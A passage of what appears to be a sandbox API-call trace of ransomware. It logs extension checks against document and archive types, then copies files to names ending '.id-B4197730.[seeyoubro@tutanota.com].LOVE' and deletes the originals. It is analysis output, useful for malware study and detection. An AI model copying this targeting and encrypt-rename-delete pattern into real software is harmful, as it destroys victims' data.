[0197.531] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0197.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.531] lstrlenW (lpString=".doc") returned 4 [0197.531] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.531] lstrlenW (lpString=".docx") returned 5 [0197.531] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.531] lstrlenW (lpString=".pdf") returned 4 [0197.531] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.531] lstrlenW (lpString=".xls") returned 4 [0197.531] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.531] lstrlenW (lpString=".xlsx") returned 5 [0197.531] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.531] lstrlenW (lpString=".ppt") returned 4 [0197.531] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.532] lstrlenW (lpString=".zip") returned 4 [0197.532] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.532] lstrlenW (lpString=".rar") returned 4 [0197.532] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.532] lstrlenW (lpString=".bz2") returned 4 [0197.532] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.532] lstrlenW (lpString=".7z") returned 3 [0197.532] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.532] lstrlenW (lpString=".dbf") returned 4 [0197.532] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.532] lstrlenW (lpString=".1cd") returned 4 [0197.532] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.532] lstrlenW (lpString=".jpg") returned 4 [0197.532] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.532] lstrlenW (lpString=".doc") returned 4 [0197.532] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.532] lstrlenW (lpString=".docx") returned 5 [0197.532] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.532] lstrlenW (lpString=".pdf") returned 4 [0197.532] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.532] lstrlenW (lpString=".xls") returned 4 [0197.532] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.532] lstrlenW (lpString=".xlsx") returned 5 [0197.532] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.533] lstrlenW (lpString=".ppt") returned 4 [0197.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.533] lstrlenW (lpString=".zip") returned 4 [0197.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.533] lstrlenW (lpString=".rar") returned 4 [0197.533] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.533] lstrlenW (lpString=".bz2") returned 4 [0197.533] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.533] lstrlenW (lpString=".7z") returned 3 [0197.533] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.533] lstrlenW (lpString=".dbf") returned 4 [0197.533] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.533] lstrlenW (lpString=".1cd") returned 4 [0197.533] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0197.533] lstrlenW (lpString=".jpg") returned 4 [0197.533] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.533] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0197.533] lstrlenW (lpString="eula.rtf") returned 8 [0197.533] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0197.534] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=6309) returned 1 [0197.534] CloseHandle (hObject=0x2e0) returned 1 [0197.534] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0197.534] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.534] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0197.534] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.534] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.534] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0197.534] GetLastError () returned 0x0 [0197.534] ReadFile (in: hFile=0x2e0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0197.608] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0197.608] ReadFile (in: hFile=0x2e0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.608] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0197.609] SetEndOfFile (hFile=0x2ec) returned 1 [0197.609] CloseHandle (hObject=0x2ec) returned 1 [0197.609] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.610] SetEndOfFile (hFile=0x2e0) returned 1 [0197.610] CloseHandle (hObject=0x2e0) returned 1 [0197.610] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.610] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0197.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.611] lstrlenW (lpString=".doc") returned 4 [0197.611] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0197.611] lstrlenW (lpString=".docx") returned 5 [0197.611] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0197.611] lstrlenW (lpString=".pdf") returned 4 [0197.611] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0197.611] lstrlenW (lpString=".xls") returned 4 [0197.611] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0197.611] lstrlenW (lpString=".xlsx") returned 5 [0197.611] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0197.611] lstrlenW (lpString=".ppt") returned 4 [0197.611] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0197.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.611] lstrlenW (lpString=".zip") returned 4 [0197.611] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0197.611] lstrlenW (lpString=".rar") returned 4 [0197.611] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0197.611] lstrlenW (lpString=".bz2") returned 4 [0197.611] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0197.611] lstrlenW (lpString=".7z") returned 3 [0197.611] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0197.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.611] lstrlenW (lpString=".dbf") returned 4 [0197.611] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0197.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.611] lstrlenW (lpString=".1cd") returned 4 [0197.611] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0197.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.612] lstrlenW (lpString=".jpg") returned 4 [0197.612] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0197.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.612] lstrlenW (lpString=".doc") returned 4 [0197.612] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0197.612] lstrlenW (lpString=".docx") returned 5 [0197.612] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0197.612] lstrlenW (lpString=".pdf") returned 4 [0197.612] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0197.612] lstrlenW (lpString=".xls") returned 4 [0197.612] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0197.612] lstrlenW (lpString=".xlsx") returned 5 [0197.612] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0197.612] lstrlenW (lpString=".ppt") returned 4 [0197.612] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0197.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.612] lstrlenW (lpString=".zip") returned 4 [0197.612] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0197.612] lstrlenW (lpString=".rar") returned 4 [0197.612] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0197.612] lstrlenW (lpString=".bz2") returned 4 [0197.612] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0197.612] lstrlenW (lpString=".7z") returned 3 [0197.612] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0197.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.612] lstrlenW (lpString=".dbf") returned 4 [0197.612] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0197.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.613] lstrlenW (lpString=".1cd") returned 4 [0197.613] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0197.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0197.613] lstrlenW (lpString=".jpg") returned 4 [0197.613] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0197.613] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0197.613] lstrlenW (lpString="eula.rtf") returned 8 [0197.613] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0197.613] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=3069) returned 1 [0197.613] CloseHandle (hObject=0x2e0) returned 1 [0197.613] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0197.613] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.613] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0197.614] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.614] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.614] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0197.614] GetLastError () returned 0x0 [0197.614] ReadFile (in: hFile=0x2e0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xbfd, lpOverlapped=0x0) returned 1 [0197.676] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xc00, lpOverlapped=0x0) returned 1 [0197.678] ReadFile (in: hFile=0x2e0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.678] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0197.678] SetEndOfFile (hFile=0x2ec) returned 1 [0197.678] CloseHandle (hObject=0x2ec) returned 1 [0197.679] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.679] SetEndOfFile (hFile=0x2e0) returned 1 [0197.680] CloseHandle (hObject=0x2e0) returned 1 [0197.680] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.680] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0197.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.680] lstrlenW (lpString=".doc") returned 4 [0197.680] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0197.680] lstrlenW (lpString=".docx") returned 5 [0197.680] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0197.680] lstrlenW (lpString=".pdf") returned 4 [0197.680] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0197.680] lstrlenW (lpString=".xls") returned 4 [0197.680] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0197.680] lstrlenW (lpString=".xlsx") returned 5 [0197.681] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0197.681] lstrlenW (lpString=".ppt") returned 4 [0197.681] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0197.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.681] lstrlenW (lpString=".zip") returned 4 [0197.681] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0197.681] lstrlenW (lpString=".rar") returned 4 [0197.681] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0197.681] lstrlenW (lpString=".bz2") returned 4 [0197.681] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0197.681] lstrlenW (lpString=".7z") returned 3 [0197.681] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0197.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.681] lstrlenW (lpString=".dbf") returned 4 [0197.681] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0197.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.681] lstrlenW (lpString=".1cd") returned 4 [0197.681] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0197.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.681] lstrlenW (lpString=".jpg") returned 4 [0197.681] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0197.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.681] lstrlenW (lpString=".doc") returned 4 [0197.681] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0197.681] lstrlenW (lpString=".docx") returned 5 [0197.681] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0197.681] lstrlenW (lpString=".pdf") returned 4 [0197.681] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0197.681] lstrlenW (lpString=".xls") returned 4 [0197.682] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0197.682] lstrlenW (lpString=".xlsx") returned 5 [0197.682] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0197.682] lstrlenW (lpString=".ppt") returned 4 [0197.682] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0197.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.682] lstrlenW (lpString=".zip") returned 4 [0197.682] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0197.682] lstrlenW (lpString=".rar") returned 4 [0197.682] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0197.682] lstrlenW (lpString=".bz2") returned 4 [0197.682] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0197.682] lstrlenW (lpString=".7z") returned 3 [0197.682] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0197.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.682] lstrlenW (lpString=".dbf") returned 4 [0197.682] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0197.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.682] lstrlenW (lpString=".1cd") returned 4 [0197.682] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0197.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0197.682] lstrlenW (lpString=".jpg") returned 4 [0197.682] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0197.682] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0197.682] lstrlenW (lpString="UiInfo.xml") returned 10 [0197.682] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.692] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=39042) returned 1 [0197.692] CloseHandle (hObject=0x2d8) returned 1 [0197.692] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0197.692] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.692] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.692] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0197.697] GetLastError () returned 0x0 [0197.697] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x9882, lpOverlapped=0x0) returned 1 [0197.723] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x9890, lpOverlapped=0x0) returned 1 [0197.725] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.725] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe8, lpOverlapped=0x0) returned 1 [0197.725] SetEndOfFile (hFile=0x2ec) returned 1 [0197.725] CloseHandle (hObject=0x2ec) returned 1 [0197.730] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.730] SetEndOfFile (hFile=0x2d8) returned 1 [0197.731] CloseHandle (hObject=0x2d8) returned 1 [0197.731] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.731] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0197.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.732] lstrlenW (lpString=".doc") returned 4 [0197.732] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.732] lstrlenW (lpString=".docx") returned 5 [0197.732] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0197.732] lstrlenW (lpString=".pdf") returned 4 [0197.732] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.732] lstrlenW (lpString=".xls") returned 4 [0197.732] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.732] lstrlenW (lpString=".xlsx") returned 5 [0197.732] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0197.732] lstrlenW (lpString=".ppt") returned 4 [0197.732] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.732] lstrlenW (lpString=".zip") returned 4 [0197.732] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.732] lstrlenW (lpString=".rar") returned 4 [0197.732] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.732] lstrlenW (lpString=".bz2") returned 4 [0197.732] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.732] lstrlenW (lpString=".7z") returned 3 [0197.732] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.732] lstrlenW (lpString=".dbf") returned 4 [0197.732] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.732] lstrlenW (lpString=".1cd") returned 4 [0197.732] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.732] lstrlenW (lpString=".jpg") returned 4 [0197.732] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.733] lstrlenW (lpString=".doc") returned 4 [0197.733] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.733] lstrlenW (lpString=".docx") returned 5 [0197.733] lstrcmpiW 